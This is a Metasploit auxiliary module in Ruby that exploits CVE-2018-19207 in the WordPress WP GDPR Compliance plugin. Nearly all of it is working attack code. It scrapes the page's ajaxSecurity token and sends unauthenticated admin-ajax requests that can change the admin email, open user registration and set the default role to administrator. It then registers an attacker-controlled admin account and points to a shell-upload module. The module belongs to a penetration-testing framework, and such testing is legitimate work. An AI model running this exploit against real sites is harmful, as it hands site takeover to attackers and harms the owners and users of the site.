##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
        'Description' => %q{
          The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
          wordpress administration options by overwriting values within the database.

          The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized
          users to trigger handlers and make configuration changes because of a failure to do
          capability checks when executing the 'save_setting' internal action.

          WARNING: The module sets Wordpress configuration options without reading their current
          values and restoring them later.
        },
        'Author' => [
          'Mikey Veenstra (WordFence)', # Vulnerability discovery
          'Thomas Labadie' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],
          ['CVE', '2018-19207'],
          ['WPVDB', '9144']
        ],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => [CONFIG_CHANGES]
        },
        'DisclosureDate' => '2018-11-08'
      )
    )

    register_options [
      OptString.new('EMAIL', [true, 'Email for registration', nil]),
      OptString.new('USER', [true, 'Username for registration', 'msfuser'])
    ]

    register_advanced_options [
      OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil])
    ]
  end

  def check
    check_plugin_version_from_readme('wp-gdpr-compliance', '1.4.3')
  end

  def set_wp_option(name, value, ajax_security)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => wordpress_url_admin_ajax,
      'vars_post' => {
        'action' => 'wpgdprc_process_action',
        'security' => ajax_security,
        'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"
      }
    )

    res && res.code == 200
  end

  def run
    print_status('Getting security token from host...')
    wp_home_res = send_request_cgi(
      'method' => 'GET',
      'uri' => target_uri.path
    )

    unless wp_home_res && wp_home_res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access Wordpress: #{target_uri.path}")
    end

    ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]

    if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
      print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
      unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)
        print_error('Failed to change the admin e-mail address')
        return
      end
    end

    print_warning('Enabling user registrations...')
    unless set_wp_option('users_can_register', '1', ajax_security)
      print_error('Failed to enable user registrations')
      return
    end

    print_warning('Setting the default user role type to administrator...')
    unless set_wp_option('default_role', 'administrator', ajax_security)
      print_error('Failed to set the default user role')
      return
    end

    print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
    unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
      print_error('Failed to register user')
      return
    end

    vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
  end
end
